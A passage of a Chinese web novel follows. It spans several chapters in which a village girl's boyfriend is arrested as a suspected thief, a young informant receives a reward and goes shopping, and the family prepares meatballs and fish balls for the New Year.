当家长开始全名全姓喊孩子时，往往是他们已经愤怒到极点的时候。 跟着老楚媳妇进了边上楚天宝的屋子，看着把门插上，楚秀秀扣着自己的手，低着头：“娘……” 老楚媳妇怒气冲冲：“别喊我娘！” “你给我解释清楚了，外面那男的究竟是怎么回事？我花钱是送你上学去的，不是让你谈对象的！” 她家秀秀一直都很听话，很胆小，怎么会突然一下子叛逆，一定是有人带坏了她。 要是让她知道，她花了那么多钱，辛辛苦苦在村里搬咸菜坛子就供出来个才上中专一年半，就想跟男人跑了的闺女，她真的会后悔的。 楚秀秀看天看地就是不敢看她娘。 老楚媳妇被她这么一手搞得越发的生气了：“说话啊，你哑巴了？” 楚秀秀被翻来覆去反反复复的骂，她心中也被激起了一丝火气，她闭着眼，干脆一口气把自己心中的所念所想全都说出来了：“娘，姚策是我对象，我不想留在家里招赘，我想去城里生活，姚策家就住城里，他家庭条件好，对我也好，这次来家里还买了好些东西，不信你去外面看看，他家有自行车，还有收音机。” 想到姚策家的富裕，再看看自己家的三间破瓦房，楚秀秀咬着唇道：“娘，我不明白，为什么你跟爹非得要我招赘呢？我嫁了人以后也不会不管家里的，你看大姐，她结了婚后，不是一样三天两头往家里跑吗？” 老楚媳妇：“这能一样吗？人家说明媒正娶，你大姐人家是先经过媒人牵线搭桥，然后结婚的？” “你跟她能一样？你这不声不响的就把人领回家了？” “还有……他家有收音机？” 楚秀秀点点头。 “你去他家了？”老楚媳妇的声音忍不住高了几分。 楚秀秀有些害怕，她支支吾吾：“娘，我就是……路过。” 路过能知道人家家里有啥？她闺女这是把她当傻子哄呢？ 屋里两母女吵得不可开交，屋外的姚策也被黄有德一个接一个问题搞得慌里慌张。 “姚同志，你跟我们秀秀不是同学，那你俩咋认识的呢？” “你家就你一个孩子吗？就没什么兄弟姐妹？” “咱们秀秀家这个情况你知道吗？”黄有德示意他看一看傻乎乎的楚天宝。 就楚天宝这么个情况大部分人是不会愿意对象家里有这么个人的，如果他能毫无结缔的表示接受，那百分之八十的概率是另有所图。 楚秀秀身上有什么特质是能够让人图谋的呢？贫穷的家，痴傻的弟，还是、貌美的她？ 姚策在心底叫苦不迭，他就谈个对象而已，怎么他对象村里的人这么恐怖，见个家长恨不得连他祖宗十八代都给刨根问底的问出来。 这就跟警察审问犯人似的，姚策心底生出几分警惕来。 可他看了一眼黄有德身上穿的粗布衣裳，还有嘴里叼着的狗尾巴草，以及头上杂草一样乱七八糟的头发，这怎么看也不像是警察，他又嘲笑了自己一下，怎么谈个对象，胆子还变小了，就这么个小村子，哪里会有警察。 对于黄有德的话他一一作答。 “我爹就生了我一个，但是他心好，又收养了几个孩子，是我亲戚家的。” “那几个孩子手脚不太便利，又没了爹妈，我爹不养活他们，他们实在没地方去了。” 姚策垂眸，像是在替家里的那几个孩子感到悲伤。 手脚不好，还是收养的，还好几个？钟莹莹一下听精神了，好家伙，这又是大案子啊！ 姚策看了一下边上人的反应，确定一切正常后，他才接着道：“正因为家里养了几个这样的弟弟妹妹，我知道秀秀家也有个这样的弟弟，才会觉得我们同病相怜。”姚策觉得自己的表演简直无懈可击。 他也确实是相中了楚秀秀，但不仅仅是黄有德猜测的那个原因，还有就是这个小姑娘胆子小，而且好骗的很。 第118章 “那你爹也太辛苦了吧，要养那么多孩子！”黄有德用一副很钦佩的语气恭维姚策。 姚策还真以为对方是被他爹的义举给感动到了，一脸谦虚道：“唉～我也说过了，让他不要捡那么多孩子回来养，家里都快放不下了。” “可他说，都是亲戚，总不能眼睁睁看着他们没活路吧？” 在姚策的口中，他爹是一个大义凛然，收养了众多孤儿的好心人。 黄有德不信世界上真有这般好的人，他想起进楚家的院子前，在院外看见的自行车，他试探着开口问道：“那姚同志，你家里的条件一定很好吧，我看你骑了个自行车呢！” 姚策见他像哈巴狗一样对自己的自行车垂涎欲滴，心里不屑：乡巴佬就是没见识，一辆自行车就给他迷的找不到北了。 姚策心里瞧不起钟家岗的人，但面上还是装的亲亲热热的模样，假惺惺道：“我家也不算条件很好，我爹在糖厂给人家烧锅炉，我在厂里当会计，你们也知道，我们家孩子多，攒不下来什么钱的，这自行车也是工作需要，要不然我们也舍不得买。” 嘴上说着舍不得，他的动作却很实诚，左手撸起右胳膊上的袖子，超‘不经意’的露出了他右手腕上的手表。 果不其然，黄有德立马惊呼道：“小姚同志，你还有手表啊？” 得到自己想收到的反应，姚策满意的把袖子撸了下来，夜里的天气凉，手腕露在外面怪不舒服的，他冲黄有德点点头道：“工作需要，都是工作需要。” 黄有德围着他，一直不停的夸奖他，什么“我们秀秀找了你当对象真是八辈子修来的福气”，还有“小姚同志长的真是一表人才，村里小伙子都没见过跟你一般俊秀的”。给姚策哄的嘴角都快扬到天上去了。 看黄有德突然发神经，对一个陌生人那么亲近，还全方位的夸赞对方，钟伟先和陈显英都觉得像见鬼了一样。 他们咋没见着这小伙子跟黄有德说的那样天上有，地上无的，就他们家绍华，除了没手表也没自行车，哪点比这小伙子差了？ 虽然不理解，他俩也没拆黄有德的台。 碰巧老楚也醒过来了，钟伟先就过去劝他：“老楚，有什么事你跟孩子慢慢慢说。” “到了咱们这个年纪啊，什么事都得放宽心。” “你看你这一着急是不是就撅过去了？” 老楚直挺挺的躺在床上，眼睛睁的大大的，完全听不进去钟伟先说的话。 钟伟先该说的都说了，他只是个外人，说多了要惹人烦的。 从老楚屋里出来，看还在抱着自己脚哭哭啼啼的楚天宝，他摸了摸他的脑袋，弯下腰跟楚天宝说：“天宝，你爹醒了，你脚不疼了就进屋去看看你爹吧。” 这个被他一颗安乃近从阎王手里救回来的小孩，像三魂缺了七魄似的，一直傻傻的，钟伟先一直不知道自己是救了人，还是造了孽。 楚天宝被钟伟先提醒了一嘴后，迷迷糊糊的进屋看他爹去了，对于之前他姐喊他去他大姐的叫人的事，这会儿是全然忘记了。 钟伟先跟陈显英带着俩孩子回家的时候，黄有德还在跟姚策聊的热火朝天。 等钟家吃晚饭时，就听见楚家又出事了，这会儿嚎的还是楚秀秀。 “有德叔，你抓姚策干什么？”楚秀秀拦在黄有德身前，不让他走。 老楚也从床上下来了，斜倚着自家堂屋的门框，焦急道：“有德，是不是有什么误会啊？” 他大闺女嫁给了村长大儿子，黄有德又是村长小舅子，他便跟黄有德同辈相称，楚秀秀也跟着喊他叔。 黄有德拿绳子捆姚策的动作没有因为他的话有丝毫停止，反而是在将姚策的嘴用楚家挂在墙角的抹布给堵上后，才斩钉截铁道：“没有误会，我怀疑他跟县里最近发生的多起盗窃案有关，我这次回村里，就是为了抓他！” 被黄有德一把按在地上的姚策十分懵逼，他不是正跟他相谈甚欢呢？怎么一个过肩摔就给他扔地上来了？ 姚策想要挣扎，整个身子扭来扭去扭成了毛毛虫，换来黄有德一巴掌扇在他头上：“老实点！” 都被抓了，还怪能折腾的。 姚策挨了一掌后不敢再明着挣扎，只敢默默的用眼神哀求楚秀秀，让她帮帮自己。 看着恋人在乞求自己，楚秀秀又鼓起勇气给黄有德解释：“有德叔，姚策放假以后一直跟我在一块呢，你们是不是搞错了？姚策咋可能偷东西呢？” “偷没偷到了局里就知道了，秀秀你让开。”黄有德拎着手脚都被捆起来的姚策就想走，临了看着楚家墙角堆着的那一堆礼品，他又提醒了一句：“他带来的东西你们暂时先别用，没准是赃款买的，如果用了的话，等局里核实以后是要赔偿的。” 黄有德走的是很轻松，马上又要立功了，但留给老楚家的却是一地鸡毛。 楚秀秀一直喃喃自语着：“怎么会呢？姚策怎么会是小偷呢？” 看她都有些魔怔了，老楚跟他媳妇也不敢刺激她，就连招赘的事都不敢提了。 钟莹莹跟钟新澄扒在墙头上看了全程，一直等陈显英喊她俩下来洗洗睡才下来。 “姑姑，天宝他姐的对象真的是小偷吗？”钟新澄有些好奇，他还是第一次见他大姑父抓坏人呢，简直太刺激啦。 “不知道！” “快回去睡觉，你娘喊你了！” 钟新澄没得到确切的答案，有些不死心，仍想追问，被钟绍华一把给拎到灶房里，强按着洗脸洗脚去了。 钟莹莹洗漱的时候，灶台上给她留的水还热着，她舀了一瓢进自己的盆里，边洗漱边走神。 她在想，也不知道秀秀能不能承受住这打击。 她姐夫抓人，起码有八成的把握才会直接动手，那姚策几乎板上钉钉的跟那盗窃团伙脱不了干系了。 秀秀在村里还好，没几个人知道她找了个对象的事，就算大家都知道了，也没人跑到她面前去胡说八道。 可在学校里呢？她有没有跟别人提起过她对象的事？ 要是被人知道她那个对象不仅是个小偷，还被抓到局子里去了，会不会有人孤立嘲笑她？ 唉～是福不是祸，是祸躲不过。 能在还没有酿成大错的时候，把两人拆散，钟莹莹觉得自己也算是做了一件好事。 本该异常欢乐的假期，老楚一家都是诡异的沉默。 楚秀秀一连好多天都没出屋子，要不是老楚媳妇给她送饭，硬塞进她嘴里，她都不愿意吃。 老楚媳妇愁的不行，就上钟家来找钟莹莹，想着她俩以前玩的好，能不能过去帮着劝一劝。 “秀秀、秀秀，你没睡的话我进去了？” 钟莹莹敲了敲她房间的门，原先这个屋子是楚琳琳跟楚秀秀一块睡的，自打楚琳琳嫁出去后，这间屋子就变成了楚秀秀个人的独窝了。 屋里很暗，窗户上的草帘子垂着，外面的光线很难透过窗子射进屋里。 钟莹莹还闻到，她屋里有股奇奇怪怪的味道，像是长久封闭不通风的霉味。 见楚秀秀躺在床上背对着她，她没过去，只是手动卷起了窗户上的帘子：“秀秀，我给你把窗户开个缝，通通风，你这屋里太闷了。” 楚秀秀没有反应，钟莹莹就将草帘卷起来用绳子固定在窗户上面了，然后把那扇窗户给开了一半，闻着从窗外吹进来的冷风，钟莹莹打了个哆嗦，脑子顿时清醒不少。 太阳光也趁此机会，从外面撒进屋里，印射在屋内的每一件物体上。 屋里亮堂了，看着也舒服了。 楚秀秀突然由面朝墙壁侧躺着翻了个身，变成脸朝上平躺着，只不过她的脸却是被双手紧紧捂着，钟莹莹看不清她的表情，但能看清从她指缝中溢出的眼泪。 钟莹莹坐到她床边，楚秀秀放开自己的手，她才看见她双眼的红肿，以及面上的泪痕。 楚秀秀心如死灰的问：“莹莹，你说为什么呢？”为什么姚策就是小偷呢？她好不容易找到个对象，想要反抗家里的安排，为什么会遇到这样的事情？ 钟莹莹从床头找了个帕子给她擦脸：“哪有为什么？坏人又不会在他们脸上刻字说他们是坏人？” “骗子那么多，下次你擦亮眼睛找个好的不就行了吗？” 楚秀秀：“莹莹，你不懂！” 钟莹莹：“我不懂？” 楚秀秀吸了吸鼻涕：“你还是个小孩呢！你懂啥？” 上初中的时候，楚秀秀觉得她们除了年纪有点差距外，其他都是一样的，但上了中专她才知道，不一样的。 她成年了，可以搞对象了，钟莹莹就是个小孩子，哪能一样。 “行，我不懂行了吧！”钟莹莹摊摊手表示认栽。“你就打算这么躺着了？你就不想知道姚策怎么样了？” 楚秀秀拉起被子盖住脸“他怎么样我才不想知道。” “那我走了？我真走了？”钟莹莹作势要走，都走到门口了，楚秀秀才出声喊她：“你说他怎么样了？” 楚秀秀只是想做事情有始有终，她跟姚策不能就这么不清不楚的拖着。 钟莹莹嘿嘿一笑：“我怎么知道？你要是想知道就自己起来洗把脸，一会儿我们要上城里去，你跟着一块去不就知道了吗？” 第119章 “我去，你等等我～”楚秀秀吸了吸鼻子，从床上坐起来，躺的时间太长，猛的坐起身来，她眼前一黑，缓了好一会儿，视线才恢复正常。 从床上下来，穿上鞋子，她把手腕伸到鼻子下面闻了闻，有股奇怪的味道。 一直躺着还好，现在清醒了就觉着有些不舒服，她便对钟莹莹说：“我换身衣服洗把脸，就跟你一块去。” 钟莹莹见她恢复正常，忙说：“不着急，你慢慢来，都是村里人，我去给她们说等一等，我上个茅厕先。” 楚秀秀回给她一个感激的眼神，她知道所谓的上茅厕也不过是个借口，对方主要还是为了给自己不丢面子的拖延时间，身边人都对她这样好，她还有什么不知足的呢。 楚秀秀想去自家灶房里打盆水，擦擦身子再换干净衣裳。 推开门就见爹娘一反常态的没去地里干农活，反而都在院里欲盖弥彰的拿着扫把和鸡毛掸子在打扫卫生。 楚秀秀眼睛越加的酸涩，原来爹娘也不是不爱自己。 她哑着嗓子：“娘，灶房里有热水吗？” 老楚媳妇听见她的声音，同样嗓音沙哑道：“有的，一直在灶上温着呢，娘去给你打～” 背过身去时，在楚秀秀看不到的地方，她用手背揩了揩眼泪。 没一会儿她就从灶房里端了一盆温热的水出来，水盆边上还搭着楚秀秀平常洗脸用的帕子，她不顾楚秀秀的阻拦，直接将盆给端到了楚秀秀房间里，放好水出来时，她还顺手把门给带上了。 看见自家丈夫一脸热切的望着自己，老楚媳妇叮嘱他：“莹莹好不容易把她给劝好了，你不准再到她面前说些丧气话，听到了没有？” 老楚摸了摸自己的鼻尖：“哪能啊？就你是亲娘，合着我不是亲爹啊？” 他闺女一开始带那男的回来，他承认他当时是接受不了的，可那男的被黄有德带走后，他哪里还管得上自己能不能接受啊，闺女都这样了，他心里只剩下害怕他家秀秀做傻事了。 好不容易养大的孩子，还供她读了这么些年的书，她一命呜呼了，自己怎么办？ 老楚媳妇没好气道：“我知道你是亲爹，但你以后招赘那一套能不能不要在孩子面前提了？” “每次一说就是秀秀啊，等你毕业了就招个上门女婿回来，到时候让他在家伺候我们，照顾你弟弟，你说的不烦，我听的都烦了。” “咱闺女一直老老实实的，为什么一去读中专不跟家里打声招呼就带了个对象回来？我看就是让你吓的，她怕你给她招个不着调的回来，所以才想着先在外面找一个，到时候咱们想反对也没办法。” “以后孩子的事你少管，她长大了，自己的事情自己能做主。” 那好几天不吃不喝的架势，老楚媳妇是怕了，在她这里天大的事也没有孩子的命重要。 再说了秀秀和琳琳一样，都是好孩子，心还软，她不信，天宝以后有事这两个做姐姐的会不帮着她。 老楚：“知道了，知道了。”说来说去，全都成他的错了，他改还不成吗？ 楚秀秀把身上穿了好多天的衬衣给换了下来，又用帕子敷了一会儿眼睛，才擦了擦身子换上干净衣裳，端着脏水正要出门时，就听到她娘说的着一番话，她的眼眶又湿润了。 楚秀秀拍了拍自己的脸蛋，努力把眼泪给憋了回去，马上还要出门，哭了让人看笑话。 村口牛车上，好几个妇女坐在一起聊天。 “这莹莹是吃了什么东西？上个茅厕这么久还不回来？” “估计是闹肚子了，我们再等一等～” “花婶，之前看你家有德从老楚家押着一个人走了，那人长得也不像我们钟家岗的人啊，啥情况啊？你给我我们说说？”说话的是今年刚嫁进钟家岗的一个小媳妇，陈珍。 黄大花是知道内情的，这东西说出去只会抹黑小姑娘名声，她哪里会大嘴巴往外传。 她只是打哈哈道：“那是他们局里的机密，禁止外传。” 完了她还不忘吓唬陈珍：“珍珍啊，你刚嫁来钟家岗，有些事你不知道，但是，你要记住啊，不知道的事情少打听，尤其是他们局里的事。”黄大花握着陈珍的手道：“婶子是为了你好，婶子自己都不敢瞎问，局里的事，咱们小老百姓乱问乱传，会被当成特务的，要吃枪子！” 接着她又神秘兮兮的让陈珍附耳过来：“你知道钟家的莹莹为什么没放假就从市里回来了吗？” 陈珍摇摇头：“不知道。” 黄大花：“她们学校听说发现特务了，死了那老些人。” 陈珍骇然：“花婶，你说的是真的吗？” “你当你花婶唬你呢？花婶是为了你好，这些事你打听的多了，指不定哪天人家觉得你不对劲，给你也抓局子里去了，进局子哪会有什么好事？不是要吃枪子，就是被送去蹲篱笆子！” “就我那儿子他敢给我说他单位的事，我都不敢听，不过你要是实在想知道……那我帮你问问去～” 陈珍被吓的哆哆嗦嗦，她捂着耳朵：“花婶，我不问了，你也别跟我说了，我不听，我什么也不知道。” 钟莹莹跟楚秀秀过来的时候就见一车上的长辈都在捂着嘴偷笑，就只有村里的新媳妇坐在车上一脸的诚惶诚恐。 她俩摸不清楚状况，但还是靠着陈显英找了个位置挤了进去，人齐了，被拉过来赶车的钟伟先也就挥着鞭子把牛往前赶着走了。 一到城里，陈珍听她们说要去公安局那边，吓得跑的比兔子还快。 “我去供销社买东西，我、我就不跟你们一块了。” 等她一走，陈显英就锤了黄大花胳膊一拳：“你说你吓唬她干嘛？看你给人吓的？” 黄大花侧着身子躲过她的拳头，偷笑道：“逗小孩，好玩嘛～” 她孙子都十好几岁了，陈珍那个年纪在她眼里可不就是小孩？ “你就闹吧～等她以后反应过来，看她找不找你麻烦！”也就是新媳妇，面皮薄，才被黄大花一吓，胆子都不知道丢哪里去了。等再过个几年，人家在村里混成老油条了，再想起今天的事，看她锤不锤黄大花？ “等她反应过来，没准我都埋土里了～”黄大花年纪很大了，她大闺女都跟陈显英差不多年纪，她的头发都全白完了，近几年越发觉得身子不爽利，怕是没几年好活了。 陈显英用肩膀撞了一下她：“说什么丧气话？你三个孙子都没找好家呢？给你三个孙子安顿好了，还有我家丽丽呢，她等着黄奶奶给她攒嫁妆呢，你死什么死？埋地里到时候都要叫人被扒出来不可～” “你也太恶毒了！我这还死都死不成了？”听听这都是什么话？还要把她从地里挖出来，什么愁什么怨，死了还不让她安生啊！ 公安局里，由于楚秀秀是也算是个受害者，而且姚策的自行车还有拿赃款买的那一大堆东西还在她家呢，所以她轻而易举的就进到里面，见了姚策一面。 楚秀秀和姚策会面时，钟莹莹在黄有德办公室领奖金呢。 “莹莹，这次因为你举报有功，所以我们才能这么快的抓到这一盗窃团伙。” “因此，上面决定，给你颁发热心群众的荣誉证书，还有一笔奖金。” 黄有德掏出一本红色的荣誉证书，以及用信封装着的奖金。 “但是，因为不知道有没有残存犯罪分子没有一网打尽，所以我们不能公开你的存在。”这是黄有德争取来的，本来局里是打算拿钟莹莹来树典型，立个‘少年小英雄’的形象，是黄有德力排众议，说对孩子不好，局里才算是作罢。 黄有德不知道这件事是对还是错，所以他见钟莹莹的时候，心里其实是有些愧疚的，哪有孩子不爱出风头的，他这么做，就是强行剥夺了一个做了好人好事后，原本能得到众人夸赞的孩子的机会。 他都有些想去跟领导提议，驳回他的建议，让孩子能得到自己应有待遇的想法了。 钟莹莹拿着新鲜出炉的荣誉证书还有奖金，那叫一个爱不释手，对于黄有德的心里活动她是一点也不知道，她开口就是：“姐夫，你能不把这事告诉我爹娘还有我姐吗？” 黄有德正愧疚着呢，听她这话一下愣住了：“莹莹，你说什么？” “我说，你能不能不要把我得了荣誉证书还有奖金的事往外说？这些钱我想留着当零花钱，你说了我的钱就得上交！”钟莹莹打开信封看了一眼，里面都是崭新的大黑十，而且信封的厚度不低，里面起码装了十几张票子。 这可是一大笔钱，她自己留着的话，那就能不和家里要钱，自己想囤多少东西就囤多少东西。 黄有德：“好……我不和他们说。” 所以他想了这么多，都是他自己想当然了吗？孩子自己本来也不想出风头？ 黄有德恍恍惚惚的送走了钟莹莹，自己一个人在办公室里待了半天。 第120章 楚秀秀从审讯室里出来后，走在公安大院里，看着天上刺目的太阳，她伸手挡住眼睛，忽然嘴角上扬，眉眼弯弯。 家里放着的姚策的那些东西，警察说他们会派人过去处理。 她爹她娘对她的态度也转变了，虽然不知道能维持多久，但用她的婚姻当筹码给她弟弟谋取利益这种事情应当不会再发生了。 真好，她以后就是自由人了～ 钟莹莹跟陈显英在办事大厅等着她呢，看她面色如常，也没敢问姚策的事。 楚秀秀却是率先开口道：“莹莹娘、莹莹，咱们去供销社不？出来的时候我娘给了我钱，让我有时间的话去买些东西回家。” 因为她姐嫁给了村长大儿子，而村长小舅子又是钟莹莹姐夫，这剪不断理还乱的亲戚关系，让钟家和楚家的辈份关系变得一团糟，她喊陈显英什么都不对，干脆跟着钟莹莹喊她莹莹娘。 钟莹莹刚刚得了一大笔钱，她也正有此意，等入冬后下了雪再想出村子就难了，这会儿不去供销社囤些零嘴，还要等到什么时候？ 她娘还把上回她买黄桃罐头的钱和票补给她了，加上大半个学期在学校省下来的钱，还有刚拿的奖金，钟莹莹这会儿妥妥的小富婆一个。 她们到供销社时，时间已经不早了，那些来排队买新到的紧俏货的人群也早已散去，柜台前面只剩下零星的三两个人。 “你好，我要两斤桃酥，还有这个葱香味的小饼干也要两斤，白兔奶糖有吗？有的话我要一包，还有这个鸡蛋糕，也给我来一斤。” 钟莹莹的大手大脚不仅让售货员目瞪口呆，连楚秀秀也被惊到了。 她俩分开读书不才一年半吗？怎么她的小伙伴就在她不知道的情况下暴富了？ 陈显英脸上也全是不赞同：“莹莹，一下子买那么多，日子不过了？” 钟莹莹拉着她的胳膊撒娇：“娘～下次出来还不知道什么时候呢，买这些要吃一冬天，还要分给木木和丽丽，不多了。”她还觉得有些少呢，奈何供销社卖的东西也就这几种，再多的就没有了。 “你哪来这么多钱和票？” “我在学校攒的，娘你忘了，你给我带过去那么多咸菜，我都给同学分了，他们天天给我带饭，我吃饭不花钱，你给的生活费可不都攒下来了！”不仅如此，在这次离开学校之前，由于事发突然，她宿舍里还剩下好些坛子咸菜。 班上同学有那机灵的，直接拿票来给她那些菜都换走了，不用钱买，就不算买卖，这空子也算是给他们钻到了。 钟莹莹手里本就不缺钱，班上同学又给她贡献了这么些票，钱票都不缺，那不是想买啥买啥。 陈显英知道闺女的钱来路正当后，脸色好了不少。 她让钟莹莹把手里的钱票收好，自己掏钱付给了售货员：“那是你的私房钱，自己放好了，买东西的钱娘来出。” 孩子买点零嘴还惦记着家里的侄子侄女，这让陈显英觉得自己这个娘做的有些不到位。 家里又没困难到那种地步，村里最近几天应当还有一笔货款到账，分红到账后又是一大笔收入，哪至于让孩子买点零嘴都扣扣搜搜的。 陈显英当即就决定，买，不光要买，还要买多点。 她转头问：“莹莹，你屋里那雪花膏是不是也快没了？” 钟莹莹点点头，好像是只剩下小半罐了，但她还有蛤蜊油，用在外面的东西，只要保证手脚不开裂就行，除了吃以外，别的东西她不是特别挑。 陈显英对售货员道：“雪花膏也来四瓶。”她自己一瓶，给明月、明芳各带一瓶，还有一瓶给莹莹。 方才还嫌弃闺女大手大脚的人，一转脸花起钱来比她闺女还要爽快，售货员都不知道该说什么才好了。 一手交钱，一手交货，将陈显英要的东西全拿给她后，售货员心里还在茫然，这大中午的，她都以为没顾客了，没想到还能开一笔大单。 一旁的楚秀秀也是满心复杂，她从小就羡慕钟家，羡慕钟莹莹，直到现在，依旧如此。 她在学校赚了钱，一到家里她爹娘就要全部收走，除了平常吃饭用的钱，一点也不给她留，这次……要不是发生了这么大的事，恐怕他们也不会给她钱，让她出来买东西的吧？ 楚秀秀捏着手里她娘给的几块钱，也向售货员开口要了半斤鸡蛋糕。 她钱不够，雪花膏买不起，只能买蛤蜊油，以前她连蛤蜊油都舍不得用呢！ 可她爹娘跟钟家人一样，都在村里的咸菜厂里干活，她自己放假的时候也在厂里干活，还有傻弟弟，虽然干活的人没钟家人多，但也不少，那这几年分到的钱呢？为什么钟家人可以随便买桃酥和鸡蛋糕吃，她连个小小的蛤蜊油都要思索再三后才敢下手？ 她得到的还不够，她爹娘的改变也还不够，她还要继续抗争。 在外人面前柔软胆怯的楚秀秀去中专进修了一年半，也不知道受了什么刺激，面上跟以前毫无差别，但内里却像是换了一个人一般。 陈显英不止买了雪花膏，她还扯了些布，准备给家里人都做件新衣服，攒了一年的布票，在这一刻终于派上了用场。 以往钟家做衣服的布料都是宋茹从海市寄过来的，如今钟家也算是慢慢起来了，自家也能花钱花票买布料给全家人做*新衣裳，留着过年穿了。 咸菜厂最后一笔货款打过来时，村里正在杀年猪，分户的原因，钟家岗养殖了远超他们本该养殖的猪的数量。 正常最多三头，分户后变成最多六头。 按照交公交一半的原则，交上去三头猪后，村里还剩下三头。 十几户人家分三头大肥猪，每家都能得几十斤猪肉。 陈显英拿到肉就开始炼猪油和做猪肉圆子，猪油家里常做，但猪肉圆子可不常见，因为这玩意既费工又费料，很难做。 光是摊薄薄的鸡蛋饼就要费一大番功夫，鸡蛋饼需要摊的又薄又有韧性，才能卷在一起切碎了，被放到肉圆子里，如果厚了，或者说太软不成形，被揉进圆子里时都会导致圆子的口感变差。 除了鸡蛋饼之外还需要准备敖子馍，也是一种薄饼，跟鸡蛋饼一样，需要切碎了放进圆子里。 生姜、葱花，花椒粉，盐，肥猪肉，和瘦猪肉都缺一不可，三肥七瘦，猪肉需细细的剁碎了才能跟鸡蛋饼碎还有敖子馍碎拌到一起去。 将混合均匀的猪肉糊捏成丸子状后，在淀粉鸡蛋水里滚上一圈，再在干淀粉里滚一圈，再拿到淀粉鸡蛋水里滚一圈，往复三次，丢进微开的开水里，小火慢煮，直至肉圆子成熟。 钟莹莹最爱吃这样做出来的肉圆子，猪肉在里面有种莫名劲道的口感，尤其放凉了之后，时不时过去偷吃一颗，味道更美了。 陈显英要么不做，要做就是一次做够吃很多天的量，放在竹簸箕里，盖着蒸笼布，就这么敞口放着，好多天不会坏，能一直放到过年，当然这个能放到过年是指在没人偷吃的情况下，正常情况过年前这些肉圆子早被一扫而光了。 陈显英和钟明月在忙活着处理分到的肉，把肉做成美食。家里的男人们也没闲着，村里的鱼塘早些天抽了水，把大些的鱼捞了个大半加工成咸鱼，连带着部分鲜鱼一块，一部分送到了公安局大院里，一部分随着钢铁厂派来的货车被运往市里，还有一小部分留在了本地的供销社。 鱼塘里剩下的那些还算比较大的，被村里人分了，至于小的，则是留在鱼塘里，又重新把水给它们抽了回去，让它们继续生长，等到来年再给村里人做贡献。 钟家的俩大男人此时正在处理家里分到的鱼，也不知道从哪里听来的，说是鱼能做鱼丸，他俩忙活了一上午，只是将鱼刺和鱼骨都分离了，留下了一大盆被处理的烂糟糟的鱼肉，陈显英出来进去的路过他们，都觉得没眼看。 父子俩仍旧没有放弃，头铁的找来一个棒槌，用棒槌使劲敲打着盆里的鱼肉，直到把鱼肉敲打成鱼糜后，捏成丸子放到陈显英煮肉圆子的锅里煮熟了，他们还是觉得不对劲，因为煮出的鱼丸很腥，而且一点弹性也没有，一点也不像别人说的那样鲜美。 “到底问题出在什么上面了呢？”钟绍华不解。 钟莹莹忙着偷吃呢，压根没注意到他俩，那肉圆子稍微凉了一些后，她就忍不住用手捡到嘴里，两口一个，吃的不亦乐乎了。 钟新澄和丽丽跟在她身后也是吃了个肚子圆圆。 最后还是陈显英看不下去他俩再糟蹋东西，提醒了一嘴：“没味你俩放盐了没？那鱼你们连葱姜水都没放，能不腥没？” 做饭做的不行，还非得做，笨手笨脚的，人蠢还不多学习，哪怕他俩看一眼自己做肉圆子的过程，都不会搞成现在这个样子。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 120-130 第121章 满满一大盆的鱼糜，最后还是陈显英调了葱姜水，重新让他俩给鱼糜边加葱姜水边给鱼糜搅打上劲，在这个过程中，还加入了少量的盐，搅完之后再捏丸子下到微开的水中，这次煮出的鱼丸尝起来就没有一开始的那种腥味了。 弹性也比之前好了许多，而且加了盐和葱姜水的鱼丸，味道上也比不调味的鱼丸好上不少。 “你还别说，这经你娘的手改进过的鱼丸味道就是好！”钟伟先夹了一颗鱼丸进嘴里，一边品，一边对钟绍华赞叹道。“看来咱爷俩还是得练啊！” 钟绍华赞同的点点头：“术业有专攻，爹，我觉得咱俩好像对干厨房里的活没啥天赋！” 家里人当中，除了钟明月和陈显英手艺很棒，钟伟先、钟绍华、钟莹莹乃至已经嫁出去的钟明芳做饭手艺都很一般，做出来的饭充其量只能说是煮熟了，能果腹而已，至于味道，不提也罢。 陈显英生了三个娃都没能遗传到她的好手艺，上辈子钟莹莹亲爸的手艺倒是隔代遗传，遗传到陈显英了，但是那老登鸡贼的很，跟他媳妇结婚三十年啊，愣是吃了三十年煮的乱七八糟的饭，也没透露过一丝他会做饭的消息。 他还嘴馋的很，见到什么都想尝一口，钟莹莹小时候身体不好，喝的中药他没事都要来一口，奶茶火锅炸鸡，他嘴上说着不健康，但是你要买回家，他吃的比谁都厉害，一边嚼嚼嚼，一边还会说：这些洋玩意还怪好吃的，你说这是谁发明的呢？就是不健康，你们以后不要买了啊！这次老爸就帮你们解决掉了。 什么好吃的、难吃的，能吃的，不能吃的，他都要吃一吃，前提是不是他自己买的，钟莹莹为什么知道他会做饭呢？那就要说起她妈不在家的那天了，家里没吃的，她爸不知道抽什么风，做了一条红烧鱼，那鱼真的色香味俱全，那蒜瓣肉，钟莹莹至今想起来还馋呢！ 可平常让他做饭他做的是什么样的？米饭里放黑豆，饭煮熟了豆子还是硬的，吃起来得像机关枪一样噗噗吐豆子，红烧肉里倒半包盐，吃一口喝一整瓶水都不解渴，味蕾都能被杀死一大片，一问他，他就是：我吃着挺好吃的啊。 这辈子她哥结扎了，生不出那小玩意，钟莹莹忽然觉得有点可惜了。 看着搬个小板凳坐在自己旁边，吃的满嘴流油的钟新澄，她啧啧称奇暗想：人渣‘大伯’都快被她调理成温顺小绵羊了，那她那个花心大萝卜老爸如果有机会出生的话，指不定会被调成什么样呢！ 不过如果老爸正常出生的话，那他前面还有几个兄弟要出来，其中包括死鸭子嘴硬的二伯，花言巧语碎嘴子的三伯，暴力狂转世爱装傻子的四伯，以及内里藏奸的五伯，也不知道她爷爷咋生的，六个儿子没一个好东西，唯一的女儿还在成年后因意外离世了。 要生出她爸，就得再生出四个魔童，钟莹莹觉得划不来，还是算了。 老爸没法出生了，还有她老妈呢，她记得，她老妈跟高家娣是一个村的。 她老妈比她爸惨，被她姥姥还有两个舅舅吸了一辈子血，小学五年级就被强制辍学，仅仅是为了让她去给哥哥盖新房的工地上的工人做饭，就从学校里把她拉回家，不让她上学了，姥姥家四个孩子，只有她妈一个小学没读完，后来她妈去外地打工，赚来的工资也全被她姥以保管的名义全部骗光光了。 她妈唯一聪明的一次就是在她姥要将她妈卖给老光棍时，跟她爸私奔了，虽然后面她姥讹了她爷爷五千块钱，八零年代的五千块，让她爷爷卖了家里的粮食，过年都要借粮才能吃上饭，但她高低是逃出来了。 算算年纪，她妈也该出生了。 